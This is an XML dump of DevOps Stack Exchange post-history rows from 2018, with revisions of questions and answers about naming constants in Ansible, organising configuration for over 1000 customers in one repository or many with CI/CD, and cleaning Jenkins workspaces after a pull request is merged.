  <row Id="10867" PostHistoryTypeId="19" PostId="1943" RevisionGUID="63ace7a3-be0b-4ee6-bf5a-58a2d2bc0433" CreationDate="2018-02-27T22:32:55.367" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="10868" PostHistoryTypeId="19" PostId="2510" RevisionGUID="651bb2fd-ab16-4eb8-a977-2f25b2f3d1ae" CreationDate="2018-02-27T22:35:18.927" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="10869" PostHistoryTypeId="2" PostId="3474" RevisionGUID="8d4be64d-1124-4903-8b68-530aa7fdd238" CreationDate="2018-02-27T23:35:16.973" UserId="210" Text="If one writes a constant in Python, then [one uses uppercase][1]:&#xD;&#xA;&#xD;&#xA;    SOME_CONSTANT = &quot;helloworld&quot;&#xD;&#xA;&#xD;&#xA;Now I wonder how to define constants in Ansible. My first impression was to use the same convention as in Python as Ansible is written in python, but when one checks [the variables information page][2] then this does not seem to be a best practice.&#xD;&#xA;&#xD;&#xA;**Current approach**&#xD;&#xA;&#xD;&#xA;https://github.com/030/ansible-firefox/blob/master/vars/main.yml&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    firefox_download: /tmp/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;    firefox_bin: &quot;{{ firefox_home }}/firefox/firefox&quot;&#xD;&#xA;&#xD;&#xA;https://github.com/030/ansible-firefox/blob/master/tasks/main.yml&#xD;&#xA;&#xD;&#xA;    - name: Download.&#xD;&#xA;      get_url:&#xD;&#xA;        url: https://ftp.mozilla.org/pub/firefox/releases/{{ firefox_version }}/linux-x86_64/en-US/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;        dest: /tmp/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;    checksum: &quot;{{ firefox_checksum }}&quot;&#xD;&#xA;&#xD;&#xA;Discussion&#xD;&#xA;&#xD;&#xA;I am considering to define `https://ftp.mozilla.org/pub/firefox/releases/{{ firefox_version }}/linux-x86_64/en-US/firefox-{{ firefox_version }}.tar.bz2` as a constant in the `vars/main.yml`, but I did not see any other ansible roles that define constants as: &#xD;&#xA;&#xD;&#xA;    FIREFOX_DOWNLOAD_URL: https://ftp.mozilla.org/pub/firefox/releases/{{ firefox_version }}/linux-x86_64/en-US/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;&#xD;&#xA;while this is valid python and the convention to write constants.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/2682752/2777965&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/latest/playbooks_variables.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10870" PostHistoryTypeId="1" PostId="3474" RevisionGUID="8d4be64d-1124-4903-8b68-530aa7fdd238" CreationDate="2018-02-27T23:35:16.973" UserId="210" Text="How to define constants in Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10871" PostHistoryTypeId="3" PostId="3474" RevisionGUID="8d4be64d-1124-4903-8b68-530aa7fdd238" CreationDate="2018-02-27T23:35:16.973" UserId="210" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10872" PostHistoryTypeId="2" PostId="3475" RevisionGUID="1f5a4237-17f0-4647-b282-eb73b4a38f22" CreationDate="2018-02-27T23:58:48.657" UserId="210" Text="Follow-up to [this question][1].&#xD;&#xA;&#xD;&#xA;We are in the middle of a transition to Configuration as Code (CaC). At the moment a lot of sites are configured manually. A side effect of this is that so now and then configuration gets broken and nobody knows what happened. By applying CaC the Version Control System (VCS) could be consulted when an environment is broken and then it is easier to figure out the cause of the issue. Another advantage is that people cannot change the configuration directly on the production systems.&#xD;&#xA;&#xD;&#xA;**Process**&#xD;&#xA;&#xD;&#xA;When the configuration is changed and merged into master or trunk then the configuration has to be deployed.&#xD;&#xA;&#xD;&#xA;There are more than 1000 customer environments that have to be migrated. One approach is to create 1000 VCS repositories. An advantage of this is that a configuration change will result in a deploy to a specific environment, e.g. code pushed to VCS customer0001 will deploy the configuration to customer0001.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;As there are more than 1000 customers, I wonder whether 1000 repositories will be a good idea in terms of costs, maintenance and so on. What about creating a separate VCS for the configuration and create a folder per customer, i.e. a monorepo. E.g.:&#xD;&#xA;&#xD;&#xA;*VCS repository*&#xD;&#xA;&#xD;&#xA; - customer0001&#xD;&#xA; - customer0002&#xD;&#xA; - ...&#xD;&#xA; - customer1000&#xD;&#xA;&#xD;&#xA;An advantage is that it is clear that all configuration resides in one repository, but how to trigger a certain build if a certain customer folder change and deploy it to the environment of the customer?&#xD;&#xA;&#xD;&#xA;It is possible to create a custom groovy script in Jenkins that does some filtering or use branches in certain VCS repositories like bitbucket, but I wonder whether there are more efficient solutions.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/2133/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10873" PostHistoryTypeId="1" PostId="3475" RevisionGUID="1f5a4237-17f0-4647-b282-eb73b4a38f22" CreationDate="2018-02-27T23:58:48.657" UserId="210" Text="What are Pros and Cons of various VCS and CI/CD tools to store, change and deploy configuration snippets of more than 1000 customers in a VCS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10874" PostHistoryTypeId="3" PostId="3475" RevisionGUID="1f5a4237-17f0-4647-b282-eb73b4a38f22" CreationDate="2018-02-27T23:58:48.657" UserId="210" Text="&lt;monorepo&gt;&lt;vcs&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10875" PostHistoryTypeId="2" PostId="3476" RevisionGUID="ffb869dc-124c-4858-a183-d65f4a173748" CreationDate="2018-02-28T00:00:32.097" UserId="47" Text="Note that `SOME_CONSTANT = &quot;helloworld&quot;` is just following a [PEP8 convention][1], one can always follow that statement with `SOME_CONSTANT = &quot;something_else&quot;`. Python doesn't really have constants, see [How do I create a constant in Python?][2]&#xD;&#xA;&#xD;&#xA;I'd use lowercase (i.e. following the Python variable naming convention), to prevent confusion:&#xD;&#xA;&#xD;&#xA;- inline with the ansible documentation&#xD;&#xA;- no surprises when (some of them) are internally changed to lowercase, for example in [Local Facts (Facts.d)][3]:&#xD;&#xA;&#xD;&#xA;&gt; **Note**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The key part in the key=value pairs will be converted into lowercase&#xD;&#xA;&gt; inside the ansible_local variable. Using the example above, if the ini&#xD;&#xA;&gt; file contained `XYZ=3` in the `[general]` section, then you should&#xD;&#xA;&gt; expect to access it as: `{{ ansible_local.preferences.general.xyz }}`&#xD;&#xA;&gt; and not `{{ ansible_local.preferences.general.XYZ }}`. This is because&#xD;&#xA;&gt; Ansible uses Python’s [ConfigParser][4] which passes all option names&#xD;&#xA;&gt; through the [optionxform][5] method and this method’s default&#xD;&#xA;&gt; implementation converts option names to lower case.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.python.org/dev/peps/pep-0008/#constants&#xD;&#xA;  [2]: https://stackoverflow.com/questions/2682745/how-do-i-create-a-constant-in-python&#xD;&#xA;  [3]: http://docs.ansible.com/ansible/latest/playbooks_variables.html#local-facts-facts-d&#xD;&#xA;  [4]: https://docs.python.org/2/library/configparser.html&#xD;&#xA;  [5]: https://docs.python.org/2/library/configparser.html#ConfigParser.RawConfigParser.optionxform" ContentLicense="CC BY-SA 3.0" />
  <row Id="10876" PostHistoryTypeId="5" PostId="3475" RevisionGUID="0e463584-c543-419d-85bd-805533043f46" CreationDate="2018-02-28T00:05:33.600" UserId="210" Comment="added 115 characters in body" Text="Follow-up to [this question][1].&#xD;&#xA;&#xD;&#xA;We are in the middle of a transition to Configuration as Code (CaC). At the moment a lot of sites are configured manually. A side effect of this is that so now and then configuration gets broken and nobody knows what happened. By applying CaC the Version Control System (VCS) could be consulted when an environment is broken and then it is easier to figure out the cause of the issue. Another advantage is that people cannot change the configuration directly on the production systems.&#xD;&#xA;&#xD;&#xA;**Process**&#xD;&#xA;&#xD;&#xA;When the configuration is changed and merged into master or trunk then the configuration has to be deployed.&#xD;&#xA;&#xD;&#xA;There are more than 1000 customer environments that have to be migrated. One approach is to create 1000 VCS repositories. An advantage of this is that a configuration change will result in a deploy to a specific environment, e.g. code pushed to VCS customer0001 will deploy the configuration to customer0001.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;As there are more than 1000 customers, I wonder whether 1000 repositories will be a good idea in terms of costs, maintenance and so on. What about creating a separate VCS for the configuration and create a folder per customer, i.e. a monorepo. E.g.:&#xD;&#xA;&#xD;&#xA;*VCS repository*&#xD;&#xA;&#xD;&#xA; - customer0001&#xD;&#xA; - customer0002&#xD;&#xA; - ...&#xD;&#xA; - customer1000&#xD;&#xA;&#xD;&#xA;An advantage is that it is clear that all configuration resides in one repository, but how to trigger a certain build if a certain customer folder change and deploy it to the environment of the customer?&#xD;&#xA;&#xD;&#xA;It is possible to create a custom groovy script in Jenkins that does some filtering or use branches in certain VCS repositories like bitbucket, but I wonder whether there are more efficient solutions.&#xD;&#xA;&#xD;&#xA;**Preferred answer**&#xD;&#xA;&#xD;&#xA; - VCS: X, because ... &#xD;&#xA; - Monorepo: Yes or multiple, because ... &#xD;&#xA; - CICD: Y, because&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/2133/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10877" PostHistoryTypeId="5" PostId="3475" RevisionGUID="c7314c70-22bc-461f-ad8a-e6d35bc225df" CreationDate="2018-02-28T00:11:29.353" UserId="210" Comment="added 115 characters in body" Text="Follow-up to [this question][1].&#xD;&#xA;&#xD;&#xA;We are in the middle of a transition to Configuration as Code (CaC). At the moment a lot of sites are configured manually. A side effect of this is that so now and then configuration gets broken and nobody knows what happened. By applying CaC the Version Control System (VCS) could be consulted when an environment is broken and then it is easier to figure out the cause of the issue. Another advantage is that people cannot change the configuration directly on the production systems.&#xD;&#xA;&#xD;&#xA;**Process**&#xD;&#xA;&#xD;&#xA;When the configuration is changed and merged into master or trunk then the configuration has to be deployed.&#xD;&#xA;&#xD;&#xA;There are more than 1000 customer environments that have to be migrated. One approach is to create 1000 VCS repositories. An advantage of this is that a configuration change will result in a deploy to a specific environment, e.g. code pushed to VCS customer0001 will deploy the configuration to customer0001.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;As there are more than 1000 customers, I wonder whether 1000 repositories will be a good idea in terms of costs, maintenance and so on. What about creating a separate VCS for the configuration and create a folder per customer, i.e. a monorepo. E.g.:&#xD;&#xA;&#xD;&#xA;*VCS repository*&#xD;&#xA;&#xD;&#xA; - customer0001&#xD;&#xA; - customer0002&#xD;&#xA; - ...&#xD;&#xA; - customer1000&#xD;&#xA;&#xD;&#xA;An advantage is that it is clear that all configuration resides in one repository, but how to trigger a certain build if a certain customer folder change and deploy it to the environment of the customer?&#xD;&#xA;&#xD;&#xA;It is possible to create a custom groovy script in Jenkins that does some filtering or use branches in certain VCS repositories like bitbucket, but I wonder whether there are more efficient solutions.&#xD;&#xA;&#xD;&#xA;**Preferred answer**&#xD;&#xA;&#xD;&#xA;    | VCS     | Monorepo | CICD     |      | Pros | Cons | &#xD;&#xA;    |---------|----------|----------|------|------|------|&#xD;&#xA;    |         |          | Circleci |      |      |      |&#xD;&#xA;    |         |          | Jenkins  |      |      |      |&#xD;&#xA;    | git     |          |          |      |      |      |&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/2133/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10878" PostHistoryTypeId="6" PostId="3475" RevisionGUID="c7314c70-22bc-461f-ad8a-e6d35bc225df" CreationDate="2018-02-28T00:11:29.353" UserId="210" Comment="added 115 characters in body" Text="&lt;configuration&gt;&lt;monorepo&gt;&lt;vcs&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10879" PostHistoryTypeId="2" PostId="3477" RevisionGUID="b8ed62a7-cf31-4de6-bfff-e7dfe2ff6f0f" CreationDate="2018-02-28T00:22:57.603" UserId="6634" Text="As pointed out in the other comment, there are no constants in python. It's just a convention, but defining a variable in capitals, doesn't mean you can't reassign the value.&#xD;&#xA;&#xD;&#xA;There are many ways to pass variables to ansible playbook(command line, `vars` in playbook, include a `yaml`, `vars` dir in a role, `defaults` dir, etc) there isn't a way to define a constant.&#xD;&#xA;&#xD;&#xA;The closest to setting a constant in the way you ask for it is setting your variables as defaults(that is `defaults/main.yml` inside the role structure). The defaults of a role are the type of variables that have the lowest precedence and are being overwritten by any other way you can define a var but are a great place to put a variable that is unlikely to change and won't clutter your &quot;important&quot; role vars.&#xD;&#xA;&#xD;&#xA;Regarding the way you define them - I'd say it's up to you. Just stick to it. I haven't seen anybody using capitals and I would probably make the variable lower case, however, since ansible provides tremendeous amoount of flexibility and freedom to do what you like the way you like it, it really is up to you." ContentLicense="CC BY-SA 3.0" />
  <row Id="10880" PostHistoryTypeId="5" PostId="3475" RevisionGUID="796dd4b8-e937-4ba3-af73-916b0aabc26f" CreationDate="2018-02-28T00:24:07.943" UserId="210" Comment="added 115 characters in body" Text="Follow-up to [this question][1].&#xD;&#xA;&#xD;&#xA;We are in the middle of a transition to Configuration as Code (CaC). At the moment a lot of sites are configured manually. A side effect of this is that so now and then configuration gets broken and nobody knows what happened. By applying CaC the Version Control System (VCS) could be consulted when an environment is broken and then it is easier to figure out the cause of the issue. Another advantage is that people cannot change the configuration directly on the production systems.&#xD;&#xA;&#xD;&#xA;**Process**&#xD;&#xA;&#xD;&#xA;When the configuration is changed and merged into master or trunk then the configuration has to be deployed.&#xD;&#xA;&#xD;&#xA;There are more than 1000 customer environments that have to be migrated. One approach is to create 1000 VCS repositories. An advantage of this is that a configuration change will result in a deploy to a specific environment, e.g. code pushed to VCS customer0001 will deploy the configuration to customer0001.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;As there are more than 1000 customers, I wonder whether 1000 repositories will be a good idea in terms of costs, maintenance and so on. What about creating a separate VCS for the configuration and create a folder per customer, i.e. a monorepo. E.g.:&#xD;&#xA;&#xD;&#xA;*VCS repository*&#xD;&#xA;&#xD;&#xA; - customer0001&#xD;&#xA; - customer0002&#xD;&#xA; - ...&#xD;&#xA; - customer1000&#xD;&#xA;&#xD;&#xA;An advantage is that it is clear that all configuration resides in one repository, but how to trigger a certain build if a certain customer folder change and deploy it to the environment of the customer?&#xD;&#xA;&#xD;&#xA;It is possible to create a custom groovy script in Jenkins that does some filtering or use branches in certain VCS repositories like bitbucket, but I wonder whether there are more efficient solutions.&#xD;&#xA;&#xD;&#xA;**Preferred answer**&#xD;&#xA;&#xD;&#xA;A table that gives an overview of the pros and cons:&#xD;&#xA;&#xD;&#xA;    | VCS | Monorepo | CICD     | Pros               | Cons                  | &#xD;&#xA;    |-----|----------|----------|====================|=======================|&#xD;&#xA;    |     |          | Circleci |                    |                       |&#xD;&#xA;    |-----|----------|----------|--------------------|-----------------------|&#xD;&#xA;    |     | true     | Jenkins  |                    | groovy script required|&#xD;&#xA;                                                     | to filter customer    |&#xD;&#xA;                                                     | folders               |&#xD;&#xA;                                |--------------------|-----------------------|&#xD;&#xA;    |     | false    | Jenkins  | code change results|more than 1000 jenkins |&#xD;&#xA;                                | in deploy to       |jobs required          |&#xD;&#xA;                                | associated customer|                       | &#xD;&#xA;                                | environment        |                       |&#xD;&#xA;    |                           |--------------------|-----------------------|&#xD;&#xA;    | git |          |          |                    |                       |&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/2133/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10881" PostHistoryTypeId="5" PostId="3475" RevisionGUID="8e9dfa7c-0bc9-4375-a6b4-48bd78f36a22" CreationDate="2018-02-28T00:29:40.193" UserId="210" Comment="added 115 characters in body" Text="Follow-up to [this question][1].&#xD;&#xA;&#xD;&#xA;We are in the middle of a transition to Configuration as Code (CaC). At the moment a lot of sites are configured manually. A side effect of this is that so now and then configuration gets broken and nobody knows what happened. By applying CaC the Version Control System (VCS) could be consulted when an environment is broken and then it is easier to figure out the cause of the issue. Another advantage is that people cannot change the configuration directly on the production systems.&#xD;&#xA;&#xD;&#xA;One of the comments to this Q&amp;A was whether the configuration is shared between customers. At the moment this is not the case and this is something we would like to prevent as sharing too much could also be a disadvantage as this could cause tangled configuration, i.e. spaghetti.&#xD;&#xA;&#xD;&#xA;In summary, there are multiple configuration files per customer site.&#xD;&#xA;&#xD;&#xA;**Process**&#xD;&#xA;&#xD;&#xA;When the configuration is changed and merged into master or trunk then the configuration has to be deployed.&#xD;&#xA;&#xD;&#xA;There are more than 1000 customer environments that have to be migrated. One approach is to create 1000 VCS repositories. An advantage of this is that a configuration change will result in a deploy to a specific environment, e.g. code pushed to VCS customer0001 will deploy the configuration to customer0001.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;As there are more than 1000 customers, I wonder whether 1000 repositories will be a good idea in terms of costs, maintenance and so on. What about creating a separate VCS for the configuration and create a folder per customer, i.e. a monorepo. E.g.:&#xD;&#xA;&#xD;&#xA;*VCS repository*&#xD;&#xA;&#xD;&#xA; - customer0001&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA; - customer0002&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA; - customer0004&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA; - customer0005&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA; - customer0998&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA; - customer0999&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA; - customer1000&#xD;&#xA;   - configFileA&#xD;&#xA;   - configFileB&#xD;&#xA;   - configFileC&#xD;&#xA;&#xD;&#xA;An advantage is that it is clear that all configuration resides in one repository, but how to trigger a certain build if a certain customer folder change and deploy it to the environment of the customer?&#xD;&#xA;&#xD;&#xA;It is possible to create a custom groovy script in Jenkins that does some filtering or use branches in certain VCS repositories like bitbucket, but I wonder whether there are more efficient solutions.&#xD;&#xA;&#xD;&#xA;**Preferred answer**&#xD;&#xA;&#xD;&#xA;A table that gives an overview of the pros and cons:&#xD;&#xA;&#xD;&#xA;    | VCS | Monorepo | CICD     | Pros               | Cons                  | &#xD;&#xA;    |-----|----------|----------|====================|=======================|&#xD;&#xA;    |     |          | Circleci |                    |                       |&#xD;&#xA;    |-----|----------|----------|--------------------|-----------------------|&#xD;&#xA;    |     | true     | Jenkins  |                    | groovy script required|&#xD;&#xA;                                                     | to filter customer    |&#xD;&#xA;                                                     | folders               |&#xD;&#xA;                                |--------------------|-----------------------|&#xD;&#xA;    |     | false    | Jenkins  | code change results|more than 1000 jenkins |&#xD;&#xA;                                | in deploy to       |jobs required          |&#xD;&#xA;                                | associated customer|                       | &#xD;&#xA;                                | environment        |                       |&#xD;&#xA;    |                           |--------------------|-----------------------|&#xD;&#xA;    | git |          |          |                    |                       |&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/2133/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10882" PostHistoryTypeId="5" PostId="3477" RevisionGUID="b5ad2627-3fef-46cd-9b49-8c31b8f70ccf" CreationDate="2018-02-28T00:35:43.883" UserId="6634" Comment="added 12 characters in body" Text="As pointed out in the other comment, there are no constants in python. It's just a convention, but defining a variable in capitals, doesn't mean you can't reassign the value.&#xD;&#xA;&#xD;&#xA;There are many ways to pass/define variables in ansible (command line, `vars` in playbook, include a `yaml`, `vars` dir in a role, `defaults` dir, etc) however, there isn't a way to define a **constant**.&#xD;&#xA;&#xD;&#xA;The closest to setting a constant in the way you ask for it is setting your variables as defaults(that is `defaults/main.yml` inside the role structure). The defaults of a role are the type of variables that have the lowest precedence and are being overwritten by any other way you can define a var but are a great place to put a variable that is unlikely to change and won't clutter your &quot;important&quot; role vars.&#xD;&#xA;&#xD;&#xA;Regarding the way you define them - I'd say it's up to you. Just stick to it. I haven't seen anybody using capitals and I would probably make the variable lower case, however, since ansible provides tremendeous amoount of flexibility and freedom to do what you like the way you like it, it really is up to you." ContentLicense="CC BY-SA 3.0" />
  <row Id="10883" PostHistoryTypeId="5" PostId="3474" RevisionGUID="e3c95f04-bb4a-40f1-81dd-be998a8e16e5" CreationDate="2018-02-28T00:36:04.883" UserId="210" Comment="added 221 characters in body" Text="If one writes a constant in Python, then [one uses uppercase][1]:&#xD;&#xA;&#xD;&#xA;    SOME_CONSTANT = &quot;helloworld&quot;&#xD;&#xA;&#xD;&#xA;Now I wonder how to define constants in Ansible. My first impression was to use the same convention as in Python as Ansible is written in python, but when one checks [the variables information page][2] then this does not seem to be a best practice.&#xD;&#xA;&#xD;&#xA;**Current approach**&#xD;&#xA;&#xD;&#xA;https://github.com/030/ansible-firefox/blob/master/vars/main.yml&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    firefox_download: /tmp/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;    firefox_bin: &quot;{{ firefox_home }}/firefox/firefox&quot;&#xD;&#xA;&#xD;&#xA;https://github.com/030/ansible-firefox/blob/master/tasks/main.yml&#xD;&#xA;&#xD;&#xA;    - name: Download.&#xD;&#xA;      get_url:&#xD;&#xA;        url: https://ftp.mozilla.org/pub/firefox/releases/{{ firefox_version }}/linux-x86_64/en-US/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;        dest: /tmp/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;    checksum: &quot;{{ firefox_checksum }}&quot;&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;I am considering to define `https://ftp.mozilla.org/pub/firefox/releases/{{ firefox_version }}/linux-x86_64/en-US/firefox-{{ firefox_version }}.tar.bz2` as a constant in the `vars/main.yml`, but I did not see any other ansible roles that define constants as: &#xD;&#xA;&#xD;&#xA;    FIREFOX_DOWNLOAD_URL: https://ftp.mozilla.org/pub/firefox/releases/{{ firefox_version }}/linux-x86_64/en-US/firefox-{{ firefox_version }}.tar.bz2&#xD;&#xA;&#xD;&#xA;while this is valid python and the convention to write constants.&#xD;&#xA;&#xD;&#xA;One could argue that an Ansible constant could be defined in the `default/main.yml`, but on the other hand, as a CONSTANT is immutable it should not be possible to overwrite it and should reside in `vars/main.yml`. &#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/2682752/2777965&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/latest/playbooks_variables.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10884" PostHistoryTypeId="5" PostId="3477" RevisionGUID="20956900-5f11-47b2-9d75-9fbbb6355f46" CreationDate="2018-02-28T00:41:36.180" UserId="6634" Comment="deleted 1 character in body" Text="As pointed out in the other comment, there are no constants in python. It's just a convention, but defining a variable in capitals, doesn't mean you can't reassign the value.&#xD;&#xA;&#xD;&#xA;There are many ways to pass/define variables in ansible (command line, `vars` in playbook, include a `yaml`, `vars` dir in a role, `defaults` dir, etc) however, there isn't a way to define a **constant**.&#xD;&#xA;&#xD;&#xA;The closest to setting a constant in the way you ask for it is setting your variables as defaults(that is `defaults/main.yml` inside the role structure). The defaults of a role are the type of variables that have the lowest precedence and are being overwritten by any other way you can define a var but are a great place to put a variable that is unlikely to change and won't clutter your &quot;important&quot; role vars.&#xD;&#xA;&#xD;&#xA;Regarding the way you define them - I'd say it's up to you. Just stick to it. I haven't seen anybody using capitals and I would probably make the variable lower case, however, since ansible provides tremendeous amount of flexibility and freedom to do what you like the way you like it, it really is up to you." ContentLicense="CC BY-SA 3.0" />
  <row Id="10885" PostHistoryTypeId="2" PostId="3478" RevisionGUID="847286b1-e8f3-454d-a644-ad85cfe27f6b" CreationDate="2018-02-28T00:42:43.643" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10886" PostHistoryTypeId="1" PostId="3478" RevisionGUID="847286b1-e8f3-454d-a644-ad85cfe27f6b" CreationDate="2018-02-28T00:42:43.643" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10887" PostHistoryTypeId="2" PostId="3479" RevisionGUID="7ffc971c-4cba-4d7b-abfd-f44adbf1ee95" CreationDate="2018-02-28T00:42:43.643" UserId="210" Text="If a question is about a Version Control System (VCS), e.g. subversion, git then this tag could be used" ContentLicense="CC BY-SA 3.0" />
  <row Id="10888" PostHistoryTypeId="1" PostId="3479" RevisionGUID="7ffc971c-4cba-4d7b-abfd-f44adbf1ee95" CreationDate="2018-02-28T00:42:43.643" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10889" PostHistoryTypeId="2" PostId="3480" RevisionGUID="3a456241-5889-4021-a379-bb305b0a4351" CreationDate="2018-02-28T00:45:08.263" UserId="210" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10890" PostHistoryTypeId="1" PostId="3480" RevisionGUID="3a456241-5889-4021-a379-bb305b0a4351" CreationDate="2018-02-28T00:45:08.263" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10891" PostHistoryTypeId="2" PostId="3481" RevisionGUID="704f359d-0785-401f-b856-fdef90e61c95" CreationDate="2018-02-28T00:45:08.263" UserId="210" Text="This tag could be used if a question is about Continuous Integration Continuous Delivery (CICD) tools and or processes" ContentLicense="CC BY-SA 3.0" />
  <row Id="10892" PostHistoryTypeId="1" PostId="3481" RevisionGUID="704f359d-0785-401f-b856-fdef90e61c95" CreationDate="2018-02-28T00:45:08.263" UserId="210" ContentLicense="CC BY-SA 3.0" />
  <row Id="10893" PostHistoryTypeId="2" PostId="3482" RevisionGUID="e6aa6999-c313-415a-aed8-b409cfb854d5" CreationDate="2018-02-28T01:03:56.643" UserId="47" Text="Personally I'd keep them in separate repositories, for clear customer isolation:&#xD;&#xA;&#xD;&#xA;- minimal/no risk of unwanted interference between customers&#xD;&#xA;- different access control for different customers is possible&#xD;&#xA;- different CI/CD pipelines and/or configs for different customers is possible&#xD;&#xA;- simpler/standard CI/CD configurations&#xD;&#xA;- clean per-customer repository history&#xD;&#xA;- easier calculation of per customer resource usage&#xD;&#xA;- lower maintenance risks - better to have just a few customers down than all of them at once&#xD;&#xA;&#xD;&#xA;I see some cons as well, but IMHO not enough to tip the balance:&#xD;&#xA;&#xD;&#xA;- more resources needed (one CI/CD pipeline per customer), but these costs can be reflected in the service pricing. And they should get a lot smaller due to automation.&#xD;&#xA;- sharing of configs/procedures across customers becomes difficult&#xD;&#xA;&#xD;&#xA;If a unified VCS vision/presentation is desired I'd still keep separate per-customer repositories (thus keeping some/all of the pros above), collectively managed under a single umbrella repository:&#xD;&#xA;&#xD;&#xA;- the umbrella repository would contain just a manifest file listing the per-customer repositories, their versions and maybe some other relevant info&#xD;&#xA;- changes in one or more of the individual repositories need to be accompanied by corresponding manifest changes in the umbrella repository to advance the overall project&#xD;&#xA;- a small set of wrapper tools would be used to operate at the umbrella repository level but controlling the individual repositories" ContentLicense="CC BY-SA 3.0" />
  <row Id="10894" PostHistoryTypeId="5" PostId="3460" RevisionGUID="c7098b24-58b1-405b-900b-def9adaebd57" CreationDate="2018-02-28T07:48:49.483" UserId="10" Comment="more background information." Text="I would like to keep a workspace in Jenkins until after the pull request is merged. Meaning, I don't want to clear the workspace after every build, but I also don't want to clear the workspace only when the branch gets deleted.&#xD;&#xA;&#xD;&#xA;How can I use the github webhooks to trigger a workspace cleanup whenever a pull request gets resolved as merged?&#xD;&#xA;&#xD;&#xA;Ideally, the solution would involve using my JenkinsFile/Pipelines.&#xD;&#xA;&#xD;&#xA;edit: Background.&#xD;&#xA;&#xD;&#xA;We have long-lived branches and short-lived branches. For brevity, I'll call the long-lived branches &quot;team branches&quot;.  Our workflow is to take short-lived branches, such as feature branches and make a PR request to pull them into the team branches.&#xD;&#xA;&#xD;&#xA;On Jenkins, we then build the feature branch and the PR request and the team branch.  Normally this works fine, but sometimes when multiple teams are merging to qa each team and feature branch needs to update(pull) and then get built on Jenkins again.  Currently, we are always cleaning the workspace which makes the update builds take longer than they need to. So I want to be able to preserve the workspace until all updates are done and the PR request actually gets merged, only then do I want to delete the workspace for the feature branch and the PR request and the team branch.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
